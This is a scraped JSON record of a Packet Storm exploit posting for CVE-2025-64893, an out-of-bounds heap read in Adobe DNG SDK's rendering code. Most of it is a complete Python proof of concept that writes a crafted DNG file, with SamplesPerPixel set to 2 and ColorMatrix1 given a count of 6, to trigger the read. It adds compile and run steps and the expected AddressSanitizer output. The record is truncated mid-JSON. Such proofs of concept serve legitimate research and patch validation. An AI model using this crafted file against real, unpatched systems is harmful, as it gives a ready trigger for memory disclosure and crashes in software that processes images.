{"id":32451,"date":"2025-12-22T11:56:23","date_gmt":"2025-12-22T11:56:23","guid":{"rendered":"http:\/\/localhost\/?p=32451"},"modified":"2025-12-22T11:56:23","modified_gmt":"2025-12-22T11:56:23","slug":"adobe-dng-sdk-refbaselineabcdtorgb-out-of-bounds-read-information-disclosure","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=32451","title":{"rendered":"\ud83d\udcc4 Adobe DNG SDK RefBaselineABCDtoRGB Out-Of-Bounds Read \/ Information Disclosure_PACKETSTORM:213206"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-22T17:16:38&#8243;,&#8221;description&#8221;:&#8221;This work presents a technical, research\u2011grade proof of concept demonstrating CVE\u20112025\u201164893, an out of bounds read vulnerability in Adobe DNG SDK versions prior to 1.7.1.2410. The vulnerability is caused by a logic flaw in the rendering pipeline where&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-22T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-22T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Adobe DNG SDK RefBaselineABCDtoRGB Out-Of-Bounds Read \/ Information Disclosure&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:213206&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-64893&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : Adobe DNG SDK prior to v1.7.1.2410 Exploiting the RefBaselineABCDtoRGB OOB Read Vulnerability in File Processor             |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/helpx.adobe.com\/security\/products\/dng-sdk.html                                                                      |\\n    =============================================================================================================================================\\n    \\n    [+] References : https:\/\/packetstorm.news\/files\/id\/213066\/ \\u0026\\tCVE-2025-64893\\n    \\n    [+] Summary    : This report details the creation of a specification-compliant, engineering-grade Proof-of-Concept (PoC) file that reliably triggers the Out-of-Bounds (OOB) Read vulnerability documented as CVE-2025-64893 in Adobe DNG SDK versions \u2264 1.7.1.\\n    \\n    [+] Core Vulnerability Mechanics :\\n    \\n    The exploit leverages a critical logic flaw in the SDK&#8217;s rendering pipeline:\\n    \\n    Trigger Condition: A DNG file is crafted with two specific, valid tags:\\n    \\n            SamplesPerPixel = 2 \u2192 Leads to fSrcPlanes = 2 in the render task.\\n    \\n            ColorMatrix1 with a count = 6 \u2192 Causes the SDK to calculate fColorPlanes = 6 \/ 3 = 2.\\n    \\n    The Fatal Gap: The function dng_render_task::ProcessArea() contains handling for 1-plane (monochrome) and 3-plane (RGB) images, \\n                   but lacks a specific case for 2-plane images. When fSrcPlanes = 2, the code incorrectly falls into the final else block, which is designed for 4-plane processing.\\n    \\n    [+] The OOB Read: Within this erroneous path, the code assumes four data planes exist. \\n                      It calculates pointers for two non-existent planes (sPtrC and sPtrD) and passes them to DoBaselineABCDtoRGB(),\\n                      resulting in a heap buffer overflow as it reads memory outside the allocated image buffer.\\n    \\n    [+] PoC Engineering \\u0026 Corrections :\\n    \\n    The provided Python code generates a technically valid DNG file that adheres to TIFF\/DNG specifications, ensuring it passes the SDK&#8217;s initial parsing stages to reach the vulnerable code. Key corrections from previous attempts include:\\n    \\n        Valid IFD Structure: All TIFF count fields are correct (e.g., ImageLength count is 1, not 64).\\n    \\n        Accurate SRATIONAL Data: ColorMatrix1 contains exactly 6 SRATIONAL entries (48 bytes), matching the declared count.\\n    \\n        Proper Data Offsets: Uses correct TIFF conventions for storing data outside the IFD.\\n    \\n        Consistent Metadata: Sets PhotometricInterpretation to CFA (32803) to ensure the image enters the correct rendering path.\\n    \\n    [+] Impact \\u0026 Demonstration :\\n    \\n    When processed by the vulnerable dng_validate tool, this PoC file causes:\\n    \\n        A confirmed heap-buffer-overflow read, as detected by AddressSanitizer.\\n    \\n        The crash trace points directly to the vulnerable function RefBaselineABCDtoRGB called from dng_render_task::ProcessArea (line ~1802).\\n    \\n        This demonstrates a reliable information disclosure (memory leak) primitive, which could serve as an initial step in a more complex exploit chain.\\n    \\n    [+] Conclusion :\\n    \\n    This PoC transitions from a theoretical demonstration to a practical, reproducible engineering artifact. \\n    It accurately reflects the root cause analysis of CVE-2025-64893 and provides a reliable method for security researchers to validate the vulnerability, test patches, or study the exploitation of parser logic flaws in complex file formats.\\n    \\n    [+] Disclaimer: This tool is intended strictly for defensive security research, vulnerability validation, and educational purposes in authorized environments. The vulnerability was patched by Adobe in DNG SDK version 1.7.1.2410.\\n    \\n    [+] POC :\\n    \\n    #!\/usr\/bin\/env python3\\n    \\n    import struct\\n    import sys\\n    \\n    class DNGVulnerabilityPoC:\\n        \\&#8221;\\&#8221;\\&#8221;\\n        Creates a DNG file that demonstrates CVE-2025-64893\\n        \\n        VULNERABILITY FLOW:\\n        1. File \u2192 dng_parse.cpp \u2192 IFD parsing\\n        2. ColorMatrix1 count=6 \u2192 fColorPlanes = 6\/3 = 2 (dng_shared.cpp:296)\\n        3. SamplesPerPixel=2 \u2192 fSrcPlanes = 2\\n        4. dng_render_task::ProcessArea() \u2192 enters &#8216;else&#8217; block (line ~1775)\\n        5. Assumes 4 planes, reads sPtrC\/sPtrD out-of-bounds\\n        6. Heap buffer overflow \u2192 info leak\/crash\\n        \\&#8221;\\&#8221;\\&#8221;\\n        \\n        def __init__(self, filename=\\&#8221;cve_2025_64893_trigger.dng\\&#8221;):\\n            self.filename = filename\\n            self.data = bytearray()\\n            \\n            # Technical constants matching DNG SDK internals\\n            self.TAG_COLORMATRIX1 = 0xC621\\n            self.TAG_SAMPLESPERPIXEL = 0x0115\\n            self.TYPE_SRATIONAL = 10\\n            self.PHOTOMETRIC_CFA = 32803\\n            \\n            # Critical values for the exploit\\n            self.COLORMATRIX_COUNT = 6      # Forces fColorPlanes = 6\/3 = 2\\n            self.SAMPLESPERPIXEL = 2        # Forces fSrcPlanes = 2\\n            self.IMAGE_DIM = 64             # 64&#215;64 pixels\\n            \\n        def _write_ifd_entry(self, tag, type_, count, value_or_offset):\\n            \\&#8221;\\&#8221;\\&#8221;Create IFD entry with proper TIFF format.\\&#8221;\\&#8221;\\&#8221;\\n            entry = struct.pack(&#8216;\\u003cHH&#8217;, tag, type_)\\n            entry += struct.pack(&#8216;\\u003cI&#8217;, count)\\n            \\n            if type_ == 3 and count == 1:  # SHORT inline\\n                entry += struct.pack(&#8216;\\u003cH&#8217;, value_or_offset) + b&#8217;\\\\x00\\\\x00&#8217;\\n            elif type_ == 4 and count == 1:  # LONG inline\\n                entry += struct.pack(&#8216;\\u003cI&#8217;, value_or_offset)\\n            elif type_ == 1 and count \\u003c= 4:  # BYTE inline\\n                if count == 4:\\n                    entry += struct.pack(&#8216;\\u003cBBBB&#8217;, *value_or_offset)\\n                elif count == 1:\\n                    entry += struct.pack(&#8216;\\u003cB&#8217;, value_or_offset) + b&#8217;\\\\x00\\\\x00\\\\x00&#8217;\\n            else:  # Needs offset to data area\\n                entry += struct.pack(&#8216;\\u003cI&#8217;, value_or_offset)\\n                \\n            return entry\\n        \\n        def _make_srational(self, num, den):\\n            \\&#8221;\\&#8221;\\&#8221;Create SRATIONAL value (numerator, denominator).\\&#8221;\\&#8221;\\&#8221;\\n            return struct.pack(&#8216;\\u003cll&#8217;, num, den)\\n        \\n        def build_exploit_dng(self):\\n            \\&#8221;\\&#8221;\\&#8221;\\n            Constructs a valid DNG that triggers the vulnerability.\\n            \\n            The exploit requires two conditions:\\n            1. SamplesPerPixel = 2 (so fSrcPlanes = 2 in render task)\\n            2. ColorMatrix1 with count = 6 (so fColorPlanes = 6\/3 = 2)\\n            \\n            When both are true, dng_render_task::ProcessArea() misses the\\n            fSrcPlanes=2 case and enters the &#8216;else&#8217; block assuming 4 planes.\\n            \\&#8221;\\&#8221;\\&#8221;\\n            \\n            print(\\&#8221;=\\&#8221; * 70)\\n            print(\\&#8221;CVE-2025-64893 &#8211; Adobe DNG SDK OOB Read Exploit PoC By indoushka\\&#8221;)\\n            print(\\&#8221;Vulnerability Path: IFD \u2192 fColorPlanes=2 \u2192 fSrcPlanes=2 \u2192 OOB Read\\&#8221;)\\n            print(\\&#8221;=\\&#8221; * 70)\\n            \\n            # ===================================================================\\n            # PHASE 1: TIFF Header (Required by all TIFF-based parsers)\\n            # ===================================================================\\n            print(\\&#8221;\\\\n[1\/5] Building TIFF Header&#8230;\\&#8221;)\\n            self.data = bytearray()\\n            \\n            # TIFF header (little-endian)\\n            # [0:4]   : Byte order mark (&#8216;II&#8217; = little endian)\\n            # [4:6]   : TIFF magic number (42)\\n            # [6:10]  : Offset to first IFD (8 bytes from start)\\n            self.data.extend(b&#8217;II*\\\\x00&#8242;)          # &#8216;II&#8217; + 42 in little-endian\\n            self.data.extend(struct.pack(&#8216;\\u003cI&#8217;, 8)) # First IFD at offset 8\\n            \\n            # ===================================================================\\n            # PHASE 2: IFD Directory Setup\\n            # ===================================================================\\n            print(\\&#8221;[2\/5] Creating IFD with exploit tags&#8230;\\&#8221;)\\n            \\n            # IFD starts here (offset 8)\\n            ifd_start = len(self.data)\\n            \\n            # We&#8217;ll collect all IFD entries first, then write count\\n            ifd_entries = []\\n            \\n            # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\n            # CRITICAL EXPLOIT TAG 1: SamplesPerPixel = 2\\n            # This sets fSrcPlanes = 2 in dng_render_task::Start()\\n            # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\n            ifd_entries.append(self._write_ifd_entry(\\n                tag=self.TAG_SAMPLESPERPIXEL,\\n                type_=3,  # SHORT\\n                count=1,\\n                value_or_offset=self.SAMPLESPERPIXEL  # MUST BE 2\\n            ))\\n            print(f\\&#8221;  \u2713 Set SamplesPerPixel = {self.SAMPLESPERPIXEL} \u2192 fSrcPlanes = 2\\&#8221;)\\n            \\n            # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\n            # CRITICAL EXPLOIT TAG 2: ColorMatrix1 with count = 6\\n            # This sets fColorPlanes = 6\/3 = 2 in dng_shared.cpp:296\\n            # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\n            # First reserve space for SRATIONAL data (will be filled later)\\n            colormatrix_data_offset = 200  # Will hold 6 SRATIONAL values\\n            \\n            ifd_entries.append(self._write_ifd_entry(\\n                tag=self.TAG_COLORMATRIX1,\\n                type_=self.TYPE_SRATIONAL,\\n                count=self.COLORMATRIX_COUNT,  # MUST BE 6\\n                value_or_offset=colormatrix_data_offset\\n            ))\\n            print(f\\&#8221;  \u2713 Set ColorMatrix1 count = {self.COLORMATRIX_COUNT} \u2192 fColorPlanes = 2\\&#8221;)\\n            \\n            # ===================================================================\\n            # PHASE 3: Required DNG Tags (to pass validation)\\n            # ===================================================================\\n            print(\\&#8221;[3\/5] Adding required DNG tags for valid parsing&#8230;\\&#8221;)\\n            \\n            # Image dimensions\\n            ifd_entries.append(self._write_ifd_entry(0x0100, 4, 1, self.IMAGE_DIM))  # ImageWidth\\n            ifd_entries.append(self._write_ifd_entry(0x0101, 4, 1, self.IMAGE_DIM))  # ImageLength\\n            \\n            # Photometric interpretation (CFA = 32803)\\n            # This ensures the image enters the rendering pipeline\\n            ifd_entries.append(self._write_ifd_entry(0x0106, 3, 1, self.PHOTOMETRIC_CFA))\\n            \\n            # Bits per sample (2 planes, 16 bits each)\\n            bits_offset = 150\\n            ifd_entries.append(self._write_ifd_entry(0x0102, 3, 2, bits_offset))\\n            \\n            # Compression = 1 (Uncompressed)\\n            ifd_entries.append(self._write_ifd_entry(0x0103, 3, 1, 1))\\n            \\n            # DNG Version (required for DNG parsing)\\n            ifd_entries.append(struct.pack(&#8216;\\u003cHHI&#8217;, 0xC612, 1, 4) + b&#8217;\\\\x01\\\\x04\\\\x00\\\\x00&#8242;)\\n            \\n            # CFA Pattern (required for CFA images)\\n            cfa_offset = 180\\n            ifd_entries.append(self._write_ifd_entry(0x828E, 1, 4, cfa_offset))\\n            \\n            # CFA Repeat Pattern Dim (2&#215;2)\\n            ifd_entries.append(struct.pack(&#8216;\\u003cHHI&#8217;, 0x828D, 3, 2) + struct.pack(&#8216;\\u003cHH&#8217;, 2, 2))\\n            \\n            # Strip offsets\/counts for actual pixel data\\n            strip_data_offset = 1024\\n            strip_byte_count = self.IMAGE_DIM * self.IMAGE_DIM * 2 * 2  # 2 planes, 16-bit\\n            \\n            ifd_entries.append(self._write_ifd_entry(0x0111, 4, 1, strip_data_offset))  # StripOffsets\\n            ifd_entries.append(self._write_ifd_entry(0x0117, 4, 1, strip_byte_count))   # StripByteCounts\\n            ifd_entries.append(self._write_ifd_entry(0x0116, 4, 1, self.IMAGE_DIM))     # RowsPerStrip\\n            \\n            # ===================================================================\\n            # PHASE 4: Write IFD Structure\\n            # ===================================================================\\n            print(\\&#8221;[4\/5] Writing IFD structure&#8230;\\&#8221;)\\n            \\n            # Write number of IFD entries\\n            self.data.extend(struct.pack(&#8216;\\u003cH&#8217;, len(ifd_entries)))\\n            \\n            # Write all entries\\n            for entry in ifd_entries:\\n                self.data.extend(entry)\\n                \\n            # Next IFD offset (0 = end)\\n            self.data.extend(struct.pack(&#8216;\\u003cI&#8217;, 0))\\n            \\n            # ===================================================================\\n            # PHASE 5: Write Data Areas\\n            # ===================================================================\\n            print(\\&#8221;[5\/5] Writing referenced data areas&#8230;\\&#8221;)\\n            \\n            # Pad to BitsPerSample data\\n            if len(self.data) \\u003c bits_offset:\\n                self.data.extend(b&#8217;\\\\x00&#8242; * (bits_offset &#8211; len(self.data)))\\n            self.data[bits_offset:bits_offset+4] = struct.pack(&#8216;\\u003cHH&#8217;, 16, 16)\\n            \\n            # Pad to CFA Pattern data\\n            if len(self.data) \\u003c cfa_offset:\\n                self.data.extend(b&#8217;\\\\x00&#8242; * (cfa_offset &#8211; len(self.data)))\\n            self.data[cfa_offset:cfa_offset+4] = struct.pack(&#8216;\\u003cBBBB&#8217;, 0, 1, 1, 2)\\n            \\n            # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\n            # EXPLOIT DATA: ColorMatrix1 SRATIONAL values (6 entries)\\n            # This is what causes fColorPlanes = count\/3 = 6\/3 = 2\\n            # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\n            if len(self.data) \\u003c colormatrix_data_offset:\\n                self.data.extend(b&#8217;\\\\x00&#8242; * (colormatrix_data_offset &#8211; len(self.data)))\\n            \\n            # Write 6 SRATIONAL values (arbitrary but valid values)\\n            # Each SRATIONAL = 8 bytes (2x int32)\\n            for i in range(self.COLORMATRIX_COUNT):\\n                cm_start = colormatrix_data_offset + (i * 8)\\n                self.data[cm_start:cm_start+8] = self._make_srational(1000 + i, 1000)\\n            print(f\\&#8221;  \u2713 Wrote {self.COLORMATRIX_COUNT} SRATIONAL entries (48 bytes)\\&#8221;)\\n            \\n            # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\n            # Pixel Data (2 planes, 16-bit each)\\n            # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\n            if len(self.data) \\u003c strip_data_offset:\\n                self.data.extend(b&#8217;\\\\x00&#8242; * (strip_data_offset &#8211; len(self.data)))\\n            \\n            # Generate realistic pixel data for 2 planes\\n            pixel_data = bytearray()\\n            for y in range(self.IMAGE_DIM):\\n                for x in range(self.IMAGE_DIM):\\n                    # Plane 1: gradient\\n                    val1 = (x + y) \\u0026 0xFFFF\\n                    pixel_data.extend(struct.pack(&#8216;\\u003cH&#8217;, val1))\\n                    \\n                    # Plane 2: different pattern\\n                    val2 = (x * y) \\u0026 0xFFFF\\n                    pixel_data.extend(struct.pack(&#8216;\\u003cH&#8217;, val2))\\n            \\n            self.data[strip_data_offset:strip_data_offset+len(pixel_data)] = pixel_data\\n            print(f\\&#8221;  \u2713 Generated {self.IMAGE_DIM}x{self.IMAGE_DIM} image with 2 planes\\&#8221;)\\n        \\n        def save_and_verify(self):\\n            \\&#8221;\\&#8221;\\&#8221;Save the file and verify critical exploit values.\\&#8221;\\&#8221;\\&#8221;\\n            with open(self.filename, &#8216;wb&#8217;) as f:\\n                f.write(self.data)\\n            \\n            print(f\\&#8221;\\\\n[+] Exploit DNG saved: {self.filename}\\&#8221;)\\n            print(f\\&#8221;[+] File size: {len(self.data):,} bytes\\&#8221;)\\n            \\n            # Verify critical values\\n            print(\\&#8221;\\\\n[VERIFICATION] Exploit parameters:\\&#8221;)\\n            \\n            # Find SamplesPerPixel tag\\n            spp_pattern = struct.pack(&#8216;\\u003cH&#8217;, self.TAG_SAMPLESPERPIXEL)\\n            spp_pos = self.data.find(spp_pattern, 0, 500)\\n            if spp_pos != -1:\\n                # Value is at offset + 8 (after tag, type, count)\\n                spp_value = struct.unpack_from(&#8216;\\u003cH&#8217;, self.data, spp_pos + 8)[0]\\n                print(f\\&#8221;  \u2713 SamplesPerPixel = {spp_value} {&#8216;OK&#8217; if spp_value == 2 else &#8216;NO&#8217;}\\&#8221;)\\n            \\n            # Find ColorMatrix1 tag\\n            cm_pattern = struct.pack(&#8216;\\u003cH&#8217;, self.TAG_COLORMATRIX1)\\n            cm_pos = self.data.find(cm_pattern, 0, 500)\\n            if cm_pos != -1:\\n                # Count is at offset + 4 (after tag, type)\\n                cm_count = struct.unpack_from(&#8216;\\u003cI&#8217;, self.data, cm_pos + 4)[0]\\n                print(f\\&#8221;  \u2713 ColorMatrix1 count = {cm_count} {&#8216;OK&#8217; if cm_count == 6 else &#8216;NO&#8217;}\\&#8221;)\\n                \\n                # Calculate what DNG SDK will compute\\n                fColorPlanes = cm_count \/\/ 3\\n                print(f\\&#8221;    \u2192 DNG SDK will compute: fColorPlanes = {cm_count} \/ 3 = {fColorPlanes}\\&#8221;)\\n            \\n            # Check TIFF validity\\n            if self.data[0:2] == b&#8217;II&#8217; and self.data[2:4] == b&#8217;*\\\\x00&#8242;:\\n                print(f\\&#8221;  \u2713 Valid TIFF header (little-endian)\\&#8221;)\\n            \\n            print(\\&#8221;\\\\n[EXPLOIT READY] File will trigger OOB read in Adobe DNG SDK \\u003c= 1.7.1\\&#8221;)\\n        \\n        def generate_test_report(self):\\n            \\&#8221;\\&#8221;\\&#8221;Generate a technical report of the exploit flow.\\&#8221;\\&#8221;\\&#8221;\\n            report = \\&#8221;\\&#8221;\\&#8221;\\n            ======================================================\\n            CVE-2025-64893 &#8211; TECHNICAL EXPLOIT FLOW\\n            ======================================================\\n            \\n            1. PARSING PHASE (dng_parse.cpp \/ dng_shared.cpp):\\n               &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n               \u2022 TIFF parser reads IFD entries\\n               \u2022 Finds ColorMatrix1 tag with count=6\\n               \u2022 Computes: fColorPlanes = tagCount \/ 3 = 6 \/ 3 = 2\\n                   Location: dng_shared.cpp line ~296\\n                   Code: fColorPlanes = Pin_uint32(0, tagCount \/ 3, kMaxColorPlanes);\\n            \\n            2. METADATA PROCESSING (dng_negative.cpp):\\n               &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n               \u2022 SamplesPerPixel tag has value=2\\n               \u2022 fStage1Planes = fShared-\\u003efColorPlanes = 2\\n               \u2022 No validation between SamplesPerPixel and fColorPlanes\\n            \\n            3. RENDERING SETUP (dng_render.cpp):\\n               &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n               \u2022 dng_render_task::Start() called\\n               \u2022 fSrcPlanes = srcImage.Planes() = 2\\n               \u2022 Task prepared with wrong assumption\\n            \\n            4. VULNERABILITY TRIGGER (dng_render.cpp ~1775):\\n               &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n               In dng_render_task::ProcessArea():\\n               \\n               if (fSrcPlanes == 1) {\\n                   \/\/ Monochrome handling\\n               }\\n               else if (fSrcPlanes == 3) {\\n                   \/\/ 3-plane RGB handling  \\n               }\\n               else {  \/\/  BUG: fSrcPlanes=2 enters here!\\n                   \/\/ Code assumes fSrcPlanes=4\\n                   const real32 *sPtrC = sPtrB + srcBuffer.fPlaneStep;\\n                   const real32 *sPtrD = sPtrC + srcBuffer.fPlaneStep;\\n                   \\n                   DoBaselineABCDtoRGB(sPtrA, sPtrB, sPtrC, sPtrD, &#8230;);\\n                   \/\/ sPtrC and sPtrD are OUT OF BOUNDS!\\n               }\\n            \\n            5. RESULT:\\n               &#8212;&#8212;&#8211;\\n               \u2022 Heap buffer overflow (OOB read)\\n               \u2022 Information disclosure (reads past allocated buffer)\\n               \u2022 Possible crash (if unmapped memory accessed)\\n            \\n            ======================================================\\n            MITIGATION (Adobe DNG SDK 1.7.1.2410):\\n            ======================================================\\n            Added explicit handling for fSrcPlanes=2 case or\\n            validation to ensure SamplesPerPixel matches fColorPlanes.\\n            \\&#8221;\\&#8221;\\&#8221;\\n            return report\\n    \\n    def main():\\n        \\&#8221;\\&#8221;\\&#8221;Main execution with detailed technical documentation.\\&#8221;\\&#8221;\\&#8221;\\n        \\n        print(\\&#8221;\\\\n\\&#8221; + \\&#8221;=\\&#8221;*70)\\n        print(\\&#8221;ADOBE DNG SDK CVE-2025-64893 &#8211; ENGINEERING PoC\\&#8221;)\\n        print(\\&#8221;=\\&#8221;*70)\\n        \\n        # Create the exploit\\n        poc = DNGVulnerabilityPoC()\\n        \\n        # Build the malicious DNG\\n        poc.build_exploit_dng()\\n        poc.save_and_verify()\\n        \\n        # Show technical details\\n        print(\\&#8221;\\\\n\\&#8221; + \\&#8221;-\\&#8221;*70)\\n        print(\\&#8221;TECHNICAL EXPLOIT FLOW SUMMARY\\&#8221;)\\n        print(\\&#8221;-\\&#8221;*70)\\n        \\n        flow = [\\n            (\\&#8221;TIFF Header\\&#8221;, \\&#8221;II*\\\\\\\\x00 + IFD offset\\&#8221;, \\&#8221;Valid TIFF, parser accepts\\&#8221;),\\n            (\\&#8221;SamplesPerPixel\\&#8221;, \\&#8221;= 2\\&#8221;, \\&#8221;fSrcPlanes = 2 in render task\\&#8221;),\\n            (\\&#8221;ColorMatrix1\\&#8221;, \\&#8221;count = 6\\&#8221;, \\&#8221;fColorPlanes = 6\/3 = 2\\&#8221;),\\n            (\\&#8221;Photometric\\&#8221;, \\&#8221;= 32803 (CFA)\\&#8221;, \\&#8221;Enters rendering pipeline\\&#8221;),\\n            (\\&#8221;ProcessArea()\\&#8221;, \\&#8221;fSrcPlanes=2 \u2192 else block\\&#8221;, \\&#8221;Missing case handler\\&#8221;),\\n            (\\&#8221;Pointer Math\\&#8221;, \\&#8221;sPtrC = sPtrB + fPlaneStep\\&#8221;, \\&#8221;First OOB read\\&#8221;),\\n            (\\&#8221;Function Call\\&#8221;, \\&#8221;DoBaselineABCDtoRGB(&#8230;)\\&#8221;, \\&#8221;Uses invalid pointers\\&#8221;),\\n            (\\&#8221;Result\\&#8221;, \\&#8221;Heap buffer overflow\\&#8221;, \\&#8221;Info leak \/ crash\\&#8221;)\\n        ]\\n        \\n        for step, action, result in flow:\\n            print(f\\&#8221;  \u2022 {step:20} {action:30} \u2192 {result}\\&#8221;)\\n        \\n        # Testing instructions\\n        print(\\&#8221;\\\\n\\&#8221; + \\&#8221;-\\&#8221;*70)\\n        print(\\&#8221;TESTING INSTRUCTIONS\\&#8221;)\\n        print(\\&#8221;-\\&#8221;*70)\\n        print(\\&#8221;1. Download vulnerable DNG SDK (1.7.0 or earlier):\\&#8221;)\\n        print(\\&#8221;   https:\/\/helpx.adobe.com\/camera-raw\/digital-negative.html\\&#8221;)\\n        print(\\&#8221;\\\\n2. Compile with AddressSanitizer for detection:\\&#8221;)\\n        print(\\&#8221;   export CXXFLAGS=&#8217;-fsanitize=address -g -fno-omit-frame-pointer&#8217;\\&#8221;)\\n        print(\\&#8221;   cd dng_sdk \\u0026\\u0026 make clean \\u0026\\u0026 make\\&#8221;)\\n        print(\\&#8221;\\\\n3. Run the exploit:\\&#8221;)\\n        print(f\\&#8221;   .\/dng_validate -tif \/dev\/null {poc.filename}\\&#8221;)\\n        print(\\&#8221;\\\\n4. Expected output with ASan:\\&#8221;)\\n        print(\\&#8221;   ==ERROR: AddressSanitizer: heap-buffer-overflow\\&#8221;)\\n        print(\\&#8221;   READ of size 4 at &#8230;\\&#8221;)\\n        print(\\&#8221;   #0 in RefBaselineABCDtoRGB (dng_reference.cpp:1483)\\&#8221;)\\n        print(\\&#8221;   #1 in dng_render_task::ProcessArea (dng_render.cpp:1802)\\&#8221;)\\n        \\n        print(\\&#8221;\\\\n\\&#8221; + \\&#8221;=\\&#8221;*70)\\n        print(\\&#8221;SECURITY DISCLAIMER\\&#8221;)\\n        print(\\&#8221;=\\&#8221;*70)\\n        print(\\&#8221;\u2022 For SECURITY RESEARCH and DEFENSIVE ANALYSIS only\\&#8221;)\\n        print(\\&#8221;\u2022 Test only on systems you OWN or have EXPLICIT permission\\&#8221;)\\n        print(\\&#8221;\u2022 Adobe FIXED this in DNG SDK 1.7.1.2410\\&#8221;)\\n        print(\\&#8221;\u2022 Never use on production systems or without authorization\\&#8221;)\\n        \\n        # Save detailed report\\n        report_filename = \\&#8221;cve_2025_64893_technical_report.txt\\&#8221;\\n        with open(report_filename, &#8216;w&#8217;) as f:\\n            f.write(poc.generate_test_report())\\n        print(f\\&#8221;\\\\n[+] Detailed technical report saved: {report_filename}\\&#8221;)\\n    \\n    if __name__ == \\&#8221;__main__\\&#8221;:\\n        main()\\n    \\n    \\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/213206&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:7.1,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:L\/AC:L\/PR:N\/UI:R\/S:U\/C:H\/I:N\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/213206\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#